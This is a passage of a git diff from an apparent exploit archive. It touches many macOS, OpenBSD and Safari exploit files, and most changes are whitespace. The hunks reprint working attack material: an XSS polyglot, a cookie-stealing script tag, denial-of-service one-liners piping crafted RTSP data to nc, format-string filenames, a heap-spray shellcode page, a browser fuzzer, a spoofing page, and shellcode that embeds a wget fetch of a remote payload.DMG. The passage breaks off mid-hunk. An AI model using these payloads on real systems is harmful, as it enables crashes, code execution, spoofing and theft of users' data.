of service: Information disclosure: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->< -/SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> \ No newline at end of file +/SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> \ No newline at end of file diff --git a/platforms/openbsd/dos/23389.c b/platforms/openbsd/dos/23389.c index eaa8e2632..6545d6827 100755 --- a/platforms/openbsd/dos/23389.c +++ b/platforms/openbsd/dos/23389.c @@ -13,4 +13,4 @@ int main () unsigned int blah[2] = { CTL_KERN, 0 }, addr = -4096 + 1; return (sysctl (blah, 2, (void *) addr, &blah[1], 0, 0)); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/openbsd/dos/8406.txt b/platforms/openbsd/dos/8406.txt index f7db5fe8f..c5ebaad9b 100755 --- a/platforms/openbsd/dos/8406.txt +++ b/platforms/openbsd/dos/8406.txt @@ -1,4 +1,4 @@ -_ _ _____ _ ___ _____ _ _ + _ _ _____ _ ___ _____ _ _ / / / / ____/ / / _/_ __/ / / / / /_/ / __/ / / / / / / / /_/ / / __ / /___/ /____/ / / / / __ / diff --git a/platforms/osx/dos/15212.txt b/platforms/osx/dos/15212.txt index 472706caa..8051c2671 100755 --- a/platforms/osx/dos/15212.txt +++ b/platforms/osx/dos/15212.txt @@ -1,4 +1,4 @@ -nSense Vulnerability Research Security Advisory NSENSE-2010-001 + nSense Vulnerability Research Security Advisory NSENSE-2010-001 --------------------------------------------------------------- Affected Vendor: Adobe diff --git a/platforms/osx/dos/20844.txt b/platforms/osx/dos/20844.txt index 0c70aa9dd..d0f739cf0 100755 --- a/platforms/osx/dos/20844.txt +++ b/platforms/osx/dos/20844.txt @@ -7,4 +7,4 @@ A user may craft a URL which contains excess characters to cause the file-sharin The file sharing system must then be restarted to regain its functionality once again. -http://fileserver/?aaaaaaaaa... [approx. 6000 characters] \ No newline at end of file +http://fileserver/?aaaaaaaaa... [approx. 6000 characters] \ No newline at end of file diff --git a/platforms/osx/dos/20845.txt b/platforms/osx/dos/20845.txt index b238cf464..e1aec57e8 100755 --- a/platforms/osx/dos/20845.txt +++ b/platforms/osx/dos/20845.txt @@ -11,4 +11,4 @@ pass anonymous mkdir aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -aaaaaaaa \ No newline at end of file +aaaaaaaa \ No newline at end of file diff --git a/platforms/osx/dos/20922.txt b/platforms/osx/dos/20922.txt index cd2e46790..95aa1cd29 100755 --- a/platforms/osx/dos/20922.txt +++ b/platforms/osx/dos/20922.txt @@ -6,4 +6,4 @@ Rumpus FTP is prone to a denial of service. An ftp user can engage the attack by It is required that a user be logged in to carry out this attack. It may be possible for remote users to exploit this vulnerability, but authentication is required and anonymous ftp access does not grant users the privileges neccesary to create directories. -Executing command 'mkdir A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A' will make Rumpus quit. \ No newline at end of file +Executing command 'mkdir A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A:A' will make Rumpus quit. \ No newline at end of file diff --git a/platforms/osx/dos/21234.sh b/platforms/osx/dos/21234.sh index f4eec0abc..70165f5b3 100755 --- a/platforms/osx/dos/21234.sh +++ b/platforms/osx/dos/21234.sh @@ -8,4 +8,4 @@ A vulnerability exists in some versions of Timbuktu. If a large number of connec while: do telnet tb2.host.com 1417 & -done \ No newline at end of file +done \ No newline at end of file diff --git a/platforms/osx/dos/22629.txt b/platforms/osx/dos/22629.txt index e1309ca1f..fb6051fa4 100755 --- a/platforms/osx/dos/22629.txt +++ b/platforms/osx/dos/22629.txt @@ -4,4 +4,4 @@ A vulnerability has been reported for Apple QuickTime/Darwin Streaming Server. T Although it has not been confirmed, it is speculated that this issue may be exploitable to corrupt memory. -$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n","A"x8192' | nc -v localhost 554 \ No newline at end of file +$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n","A"x8192' | nc -v localhost 554 \ No newline at end of file diff --git a/platforms/osx/dos/23442.txt b/platforms/osx/dos/23442.txt index 4d6b73679..432ce69be 100755 --- a/platforms/osx/dos/23442.txt +++ b/platforms/osx/dos/23442.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/9228/info The cd9660.util utility has been reported prone to a local buffer overrun vulnerability. Excessive data supplied as an argument for the probe for mounting switch, passed to the cd9660.util utility will overrun the bounds of a reserved buffer in memory. Because memory adjacent to this buffer has been reported to contain saved values that are crucial to controlling execution flow, a local attacker may potentially influence cd9660.util execution flow into attacker-supplied instructions. -./cd9660.util -p `perl -e "print 'A'x512"` \ No newline at end of file +./cd9660.util -p `perl -e "print 'A'x512"` \ No newline at end of file diff --git a/platforms/osx/dos/26128.html b/platforms/osx/dos/26128.html index e31ea61f7..5846d55e2 100755 --- a/platforms/osx/dos/26128.html +++ b/platforms/osx/dos/26128.html @@ -24,4 +24,4 @@ document.write(seconds); </script> <body onLoad="tickTock();"> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/osx/dos/26271.txt b/platforms/osx/dos/26271.txt index ad9714497..aa3100e4f 100755 --- a/platforms/osx/dos/26271.txt +++ b/platforms/osx/dos/26271.txt @@ -5,4 +5,4 @@ Apple Safari is prone to a memory corruption vulnerability. This issue is expose Though unconfirmed, this vulnerability could be exploitable to execute arbitrary code. data://<h1>crash</h1> -data://<h>/< \ No newline at end of file +data://<h>/< \ No newline at end of file diff --git a/platforms/osx/dos/26971.txt b/platforms/osx/dos/26971.txt index f92c2c6cc..9d33e26fe 100755 --- a/platforms/osx/dos/26971.txt +++ b/platforms/osx/dos/26971.txt @@ -10,4 +10,4 @@ Mac OS X 10.4.3 and prior, TextEdit, and Safari 2.0.2 and prior are vulnerable t <" > onLoad=() STYLE= <SPAN= STYLE= > -<TD STYLE=^ ROWSPAN=1234567890 > \ No newline at end of file +<TD STYLE=^ ROWSPAN=1234567890 > \ No newline at end of file diff --git a/platforms/osx/dos/29523.txt b/platforms/osx/dos/29523.txt index 771819fdb..9eb364760 100755 --- a/platforms/osx/dos/29523.txt +++ b/platforms/osx/dos/29523.txt @@ -7,4 +7,4 @@ This issue presents itself because the application fails to properly sanitize us A successful attack may crash the application or possibly lead to arbitrary code execution. This may facilitate unauthorized access or privilege escalation in the context of the user running the application. $ touch %x.%x.%x.%x.%x.%x.%x.swutmp -$ open %x.%x.%x.%x.%x.%x.%x.swutmp \ No newline at end of file +$ open %x.%x.%x.%x.%x.%x.%x.swutmp \ No newline at end of file diff --git a/platforms/osx/dos/29532.txt b/platforms/osx/dos/29532.txt index c5f8d2324..5c30c4e75 100755 --- a/platforms/osx/dos/29532.txt +++ b/platforms/osx/dos/29532.txt @@ -7,4 +7,4 @@ A successful attack may crash the application or possibly allow the attacker to Apple Installer Version 2.1.5 on Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected. $ touch AAAA`ruby -e 'require "cgi"; print CGI::escape("\x9c\xe7\xff\xbf") + CGI::escape("%.20d") + CGI::escape("%x" * 20)'`%n.pkg -$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg \ No newline at end of file +$ open AAAA%9C%E7%FF%BF%25.20d%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%n.pkg \ No newline at end of file diff --git a/platforms/osx/dos/29553.txt b/platforms/osx/dos/29553.txt index aea6de871..856378ebb 100755 --- a/platforms/osx/dos/29553.txt +++ b/platforms/osx/dos/29553.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow attacker-supplied data to be written to arbitr Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well. touch %n%n%n%n%n%n%n%n%n%n%n.help -open %n%n%n%n%n%n%n%n%n%n%n.help \ No newline at end of file +open %n%n%n%n%n%n%n%n%n%n%n.help \ No newline at end of file diff --git a/platforms/osx/dos/29555.txt b/platforms/osx/dos/29555.txt index 7739f3fbf..82e34e59d 100755 --- a/platforms/osx/dos/29555.txt +++ b/platforms/osx/dos/29555.txt @@ -8,4 +8,4 @@ Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported <script> window.console.log('%n%n%nOh it takes a montage%n%n%n') -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/osx/dos/29616.xml b/platforms/osx/dos/29616.xml index c720d09e7..3eaab1327 100755 --- a/platforms/osx/dos/29616.xml +++ b/platforms/osx/dos/29616.xml @@ -9,4 +9,4 @@ Apple iTunes version 7.0.2 for Intel and PowerPC are vulnerable to this issue; o <?die with your boots on?> <kb:station_record> <kb:station_url_record> -</kb:station_url_record> \ No newline at end of file +</kb:station_url_record> \ No newline at end of file diff --git a/platforms/osx/dos/31057.html b/platforms/osx/dos/31057.html index 20e0b1851..7172cd4c3 100755 --- a/platforms/osx/dos/31057.html +++ b/platforms/osx/dos/31057.html @@ -6,4 +6,4 @@ Attackers can exploit this issue by enticing an unsuspecting user to view a mali iPhone 1.1.2 and 1.1.3 are affected; other versions may also be vulnerable. -<html><body><script> function Demo() { var shellcode; var addr; var fill; alert('attempting a crash!'); shellcode = unescape('%u0c0c'); fill = unescape('%ucccc'); addr = 0x02020202; var b = fill; while (b.length <= 0x40000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } } </script> <input type='button' onClick='Demo()' value='Go!'> </body></html> \ No newline at end of file +<html><body><script> function Demo() { var shellcode; var addr; var fill; alert('attempting a crash!'); shellcode = unescape('%u0c0c'); fill = unescape('%ucccc'); addr = 0x02020202; var b = fill; while (b.length <= 0x40000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } } </script> <input type='button' onClick='Demo()' value='Go!'> </body></html> \ No newline at end of file diff --git a/platforms/osx/dos/32136.html b/platforms/osx/dos/32136.html index 86daeda5e..7ddef7dd9 100755 --- a/platforms/osx/dos/32136.html +++ b/platforms/osx/dos/32136.html @@ -13,4 +13,4 @@ Mac OS X Server v10.5.4 and prior NOTE: These issues were previously covered in BID 30483 (Apple Mac OS X 2008-005 Multiple Security Vulnerabilities), but have been given their own record to better document them. -<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script> \ No newline at end of file +<body> <font face="arial,helvetica"> <font size=+3><code><CANVAS></code> fuzzer</font><font size=-1> by <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a></font><p> <div id=ccont> <canvas id=canvas height=200 width=300 style="border: 1px solid teal"></canvas> </div> <img id=image src="envelope.gif" align=top> <p> <input type=checkbox id=dealloc> Deallocate canvas after every cycle (NULL ptr in Safari, likely exploitable in Opera)<br> <input type=checkbox id=keep_ctx> Keep context (if combined with above, NULL ptr Firefox, likely exploitable in Opera)<br> <input type=checkbox id=scale_large> Use large canvas scaling (likely exploitable in Opera, bogs down Firefox)<br> <input type=checkbox id=return_undef> Return <code>undefined</code> values (NULL ptr Safari, may hang Opera)<br> <input type=checkbox id=return_large> Return large integers (exploitable crash in Safari, OOM/DoS elsewhere)<br> <input type=checkbox id=quick> Skip time-consuming operations (quicker, but may miss issues)<p> <input type=submit value="Begin tests" id=button onclick="setup_all()"><p> <script> var ctx; /* Canvas context */ var imgObj; /* Reference image */ var scval = 1; var transval = 0; var quick; var dealloc; var return_undef; var return_large; var scale_large; var keep_ctx; var iht; function setup_all() { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); imgObj = document.getElementById('image'); iht = document.getElementById('ccont').innerHTML; quick = document.getElementById('quick').checked; dealloc = document.getElementById('dealloc').checked; return_undef = document.getElementById('return_undef').checked; return_large = document.getElementById('return_large').checked; scale_large = document.getElementById('scale_large').checked; keep_ctx = document.getElementById('keep_ctx').checked; document.getElementById('button').disabled = true; setInterval('do_fuzz();',1); } function R(x) { return Math.floor(Math.random() * x); } function make_number() { var v; var sel; if (return_large == true && R(3) == 1) sel = R(6); else sel = R(4); if (return_undef == false && sel == 0) sel = 1; if (R(2) == 1) v = R(100); else switch (sel) { case 0: break; case 1: v = 0; break; case 2: v = 0.000001; break; case 3: v = 10000; break; case 4: v = 2000000000; break; case 5: v = 1e100; break; } if (R(4) == 1) v = -v; return v; } function make_color() { if (R(2) == 1) return "#C0F0A0"; else return "#000090"; } function make_fill() { var sel; if (quick == true) sel = 0; else sel = R(6); switch (sel) { case 0: case 1: case 2: return make_color(); break; case 3: var r = ctx.createLinearGradient(make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 4: var r = ctx.createRadialGradient(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); for (i=0;i<4;i++) r.addColorStop(make_number(),make_color()); return r; break; case 5: var r = ctx.createPattern(imgObj,"repeat"); if (R(6) == 0) r.addColorStop(make_number(),make_color()); return r; break; } } function do_fuzz() { if (dealloc == true) document.getElementById('ccont').innerHTML = iht; if (keep_ctx == false) { var canvas = document.getElementById('canvas'); ctx = canvas.getContext('2d'); } for (i=0;i<100;i++) { try { switch (R(33)) { case 0: ctx.fillStyle = make_fill(); break; case 1: ctx.globalAlpha = Math.random() - .5; break; case 2: switch (R(3)) { case 0: ctx.globalCompositeOperation = 'copy'; break; case 1: ctx.globalCompositeOperation = 'xor'; break; case 2: ctx.globalCompositeOperation = 'source-over'; break; } break; case 3: switch (R(2)) { case 0: ctx.lineCap = 'round'; break; case 1: ctx.lineCap = 'butt'; break; } break; case 4: switch (R(2)) { case 0: ctx.lineJoin = 'round'; break; case 1: ctx.lineJoin = 'miter'; break; } break; case 5: ctx.lineWidth = make_number(); break; case 6: ctx.miterLimit = make_number(); break; case 7: if (quick == true) break; ctx.shadowBlur = make_number(); break; case 8: if (quick == true) break; ctx.shadowColor = make_fill(); break; case 9: if (quick == true) break; ctx.shadowOffsetX = make_number(); ctx.shadowOffsetY = make_number(); break; case 10: ctx.restore(); break; case 11: ctx.rotate(make_number()); break; case 12: ctx.save(); break; case 13: ctx.scale(-1,-1); break; case 14: if (quick == true) break; if (transval == 0) { transval = make_number(); ctx.translate(transval,0); } else { ctx.translate(-transval,0); transval = 0; } break; case 15: ctx.clearRect(make_number(),make_number(),make_number(),make_number()); break; case 16: if (quick == true) break; ctx.drawImage(imgObj,make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 17: ctx.fillRect(make_number(),make_number(),make_number(),make_number()); break; case 18: ctx.beginPath(); break; case 19: // ctx.clip() is evil. break; case 20: ctx.closePath(); break; case 21: ctx.fill(); break; case 22: ctx.stroke(); break; case 23: ctx.strokeRect(make_number(),make_number(),make_number(),make_number()); break; case 24: if (quick == true) break; ctx.arc(make_number(),make_number(),make_number(),make_number(),make_number(),true); break; case 25: if (quick == true) break; ctx.arcTo(make_number(),make_number(),make_number(),make_number(),make_number()); break; case 26: if (quick == true) break; ctx.bezierCurveTo(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 27: ctx.lineTo(make_number(),make_number()); break; case 28: ctx.moveTo(make_number(),make_number()); break; case 29: if (quick == true) break; ctx.quadraticCurveTo(make_number(),make_number(),make_number(),make_number()); break; case 30: if (quick == true) break; ctx.transform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 31: if (quick == true) break; ctx.setTransform(make_number(),make_number(),make_number(),make_number(),make_number(),make_number()); break; case 32: if (scale_large == true) { switch (scval) { case 0: ctx.scale(-1000000000,1); ctx.scale(-1000000000,1); scval = 1; break; case 1: ctx.scale(-.000000001,1); scval = 2; break; case 1: ctx.scale(-.000000001,1); scval = 0; break; } } break; } } catch (e) { } } } </script> \ No newline at end of file diff --git a/platforms/osx/dos/32817.txt b/platforms/osx/dos/32817.txt index 9d1dd59e4..d4ccd553f 100755 --- a/platforms/osx/dos/32817.txt +++ b/platforms/osx/dos/32817.txt @@ -13,4 +13,4 @@ feeds:{&www.example.com/feed/ feeds:}&www.example.com/feed/ feeds:^&www.example.com/feed/ feeds:`&www.example.com/feed/ -feeds:|&www.example.com/feed/ \ No newline at end of file +feeds:|&www.example.com/feed/ \ No newline at end of file diff --git a/platforms/osx/dos/33479.c b/platforms/osx/dos/33479.c index 255c6fdbe..57387a1e5 100755 --- a/platforms/osx/dos/33479.c +++ b/platforms/osx/dos/33479.c @@ -14,4 +14,4 @@ char number[] = "0.1111111111...11", *e; double weed = strtod(number, &e); printf("grams = %lf\n", weed); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/osx/local/18749.py b/platforms/osx/local/18749.py index 3e5ffa63a..eb52db663 100755 --- a/platforms/osx/local/18749.py +++ b/platforms/osx/local/18749.py @@ -29,7 +29,7 @@ sign = ( ) shellcode = "\xCC\xCC\xCC\xCC" -shellcode += "http://www.server/payload.DMG" +shellcode += "http://www.site.com/payload.DMG" shellcode += "\x11\x3A\x65\x89\x11\x3A\x65\x89\x11\x3A\x65\x89" #("wget http://") shellcode += "wget " shellcode += "\x1A\x18\x19\x02" diff --git a/platforms/osx/local/19427.txt b/platforms/osx/local/19427.txt index 5df0e7173..53ceb9021 100755 --- a/platforms/osx/local/19427.txt +++ b/platforms/osx/local/19427.txt @@ -17,4 +17,4 @@ Do the same thing, except use f i l e://At%20Ease%20Volume%20Name/At%20Ease%20%Docs/username and it's quite easy to browse through anyones files. -It is possible to download files from that users directory. I have been unable to actually open any of the files once they are downloaded, however in an educational setting, just viewing names in a certian directory could constitute some serious problems (such as if a teacher works with Special Education studends, and has a list of documents to their parents). \ No newline at end of file +It is possible to download files from that users directory. I have been unable to actually open any of the files once they are downloaded, however in an educational setting, just viewing names in a certian directory could constitute some serious problems (such as if a teacher works with Special Education studends, and has a list of documents to their parents). \ No newline at end of file diff --git a/platforms/osx/local/21076.txt b/platforms/osx/local/21076.txt index 03cde4548..e51d24cb0 100755 --- a/platforms/osx/local/21076.txt +++ b/platforms/osx/local/21076.txt @@ -6,4 +6,4 @@ Intego FileGuard provides system level access restrictions to versions of Mac OS mSec has released a tool called Disengage which will attempt to decrypt passwords, provided circumstances exist which allow Disengage to work. Passwords for Intego DiskGuard may also be decrypted in this manner. -https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/21076.sit \ No newline at end of file +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/21076.sit \ No newline at end of file diff --git a/platforms/osx/local/36143.txt b/platforms/osx/local/36143.txt index cef7fad14..766806d60 100755 --- a/platforms/osx/local/36143.txt +++ b/platforms/osx/local/36143.txt @@ -6,4 +6,4 @@ Local attackers can exploit these issues to obtain sensitive information or chan $ dscl localhost -read /Search/Users/bob -$ dscl localhost -passwd /Search/Users/<username> \ No newline at end of file +$ dscl localhost -passwd /Search/Users/<username> \ No newline at end of file diff --git a/platforms/osx/remote/20911.txt b/platforms/osx/remote/20911.txt index 4e562a8b8..67a39a3e0 100755 --- a/platforms/osx/remote/20911.txt +++ b/platforms/osx/remote/20911.txt @@ -12,4 +12,4 @@ GET /test/index.html But the following request will happily serve the file: -GET /TeSt/index.html \ No newline at end of file +GET /TeSt/index.html \ No newline at end of file diff --git a/platforms/osx/remote/20984.txt b/platforms/osx/remote/20984.txt index ddafcbc32..7c0a11cd3 100755 --- a/platforms/osx/remote/20984.txt +++ b/platforms/osx/remote/20984.txt @@ -49,4 +49,4 @@ CHILDREN = ( "home" = ( "/private/var/root" ); "shell" = ( "/bin/tcsh" ); } -etc. \ No newline at end of file +etc. \ No newline at end of file diff --git a/platforms/osx/remote/21238.txt b/platforms/osx/remote/21238.txt index ccf181585..fd21999b5 100755 --- a/platforms/osx/remote/21238.txt +++ b/platforms/osx/remote/21238.txt @@ -8,4 +8,4 @@ This issue may be exploited to execute "Speakable Items" in MacOS 8 and 9. This issue may also be exploitable through maliciously crafted HTML-enabled e-mail. -<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep"> \ No newline at end of file +<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep"> \ No newline at end of file diff --git a/platforms/osx/remote/22630.txt b/platforms/osx/remote/22630.txt index b671f85ad..0b3a1a9c6 100755 --- a/platforms/osx/remote/22630.txt +++ b/platforms/osx/remote/22630.txt @@ -14,4 +14,4 @@ Create a specially crafted mp3 file: $ echo -e "ID3\x03\x00\x00\x00\x00\x0f\x0fTPE1\xff\xaa\xaa\xbb\x00\x00\x00\x00\x00\x00 -" > song.mp3 \ No newline at end of file +" > song.mp3 \ No newline at end of file diff --git a/platforms/osx/remote/26152.txt b/platforms/osx/remote/26152.txt index 0eaefdbc9..67ce6908a 100755 --- a/platforms/osx/remote/26152.txt +++ b/platforms/osx/remote/26152.txt @@ -9,6 +9,6 @@ This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnera input malicious script into author and comment sections in the comment option on the weblog. eg:<SCRIPT>alert(document.cookie);</SCRIPT> [cookie theft] -eg:<iframe src="http://someserver"></iframe> [redirect] +eg:<iframe src="http://somesite.com"></iframe> [redirect] -http://www.example.com:16080/weblog/[bloguser]/?permalink=[blogentry]&comment=y&page=comments&category=%2F&author=[script]&authorEmail=&authorURL=&commentText=[script]&submit=Submit+Comment \ No newline at end of file +http://www.example.com:16080/weblog/[bloguser]/?permalink=[blogentry]&comment=y&page=comments&category=%2F&author=[script]&authorEmail=&authorURL=&commentText=[script]&submit=Submit+Comment \ No newline at end of file diff --git a/platforms/osx/remote/30228.txt b/platforms/osx/remote/30228.txt index adf0b714c..fdb7685b0 100755 --- a/platforms/osx/remote/30228.txt +++ b/platforms/osx/remote/30228.txt @@ -14,4 +14,4 @@ GET / HTTP/1.1 Accept-Encoding: gzip, deflate Accept-Language: en Foo: baa -Host: test \ No newline at end of file +Host: test \ No newline at end of file diff --git a/platforms/osx/remote/31473.html b/platforms/osx/remote/31473.html index 3d4ffe009..ea1d33105 100755 --- a/platforms/osx/remote/31473.html +++ b/platforms/osx/remote/31473.html @@ -6,4 +6,4 @@ Safari 3.1 running on Microsoft Windows is reported vulnerable. NOTE: This issue may be related to the vulnerability discussed in BID 24457 (Apple Safari for Windows Window.setTimeout Content Spoofing Vulnerability). -<html> Safari browser 3.1 (525.13) spoofing by Juan Pablo Lopez Yacubian <html> <head> <title>Recipe 6.6</title> <script type="text/javascript"> var newWindow; function makeNewWindow() { if (!newWindow || newWindow.closed) { newWindow = window.open('http://www.google.com.ar/','_self'); setTimeout("writeToWindow()", 50); } else if (newWindow.focus) { newWindow.focus(); } } function writeToWindow() { var newContent = "<html><head><title>Google</title></head>"; newContent += "<body> <h1>FAKE PAGE</h1>"; newWindow.document.write(newContent); newWindow.document.close(); } </script> </head> <body> <form> <input type="button" value="test spoof!" onclick="makeNewWindow();"/> </form> </body> </html> \ No newline at end of file +<html> Safari browser 3.1 (525.13) spoofing by Juan Pablo Lopez Yacubian <html> <head> <title>Recipe 6.6</title> <script type="text/javascript"> var newWindow; function makeNewWindow() { if (!newWindow || newWindow.closed) { newWindow = window.open('http://www.google.com.ar/','_self'); setTimeout("writeToWindow()", 50); } else if (newWindow.focus) { newWindow.focus(); } } function writeToWindow() { var newContent = "<html><head><title>Google</title></head>"; newContent += "<body> <h1>FAKE PAGE</h1>"; newWindow.document.write(newContent); newWindow.document.close(); } </script> </head> <body> <form> <input type="button" value="test spoof!" onclick="makeNewWindow();"/> </form> </body> </html> \ No newline at end of file diff --git a/platforms/osx/remote/33810.html b/platforms/osx/remote/33810.html index c4fdef03e..578ab7146 100755 --- a/platforms/osx/remote/33810.html +++ 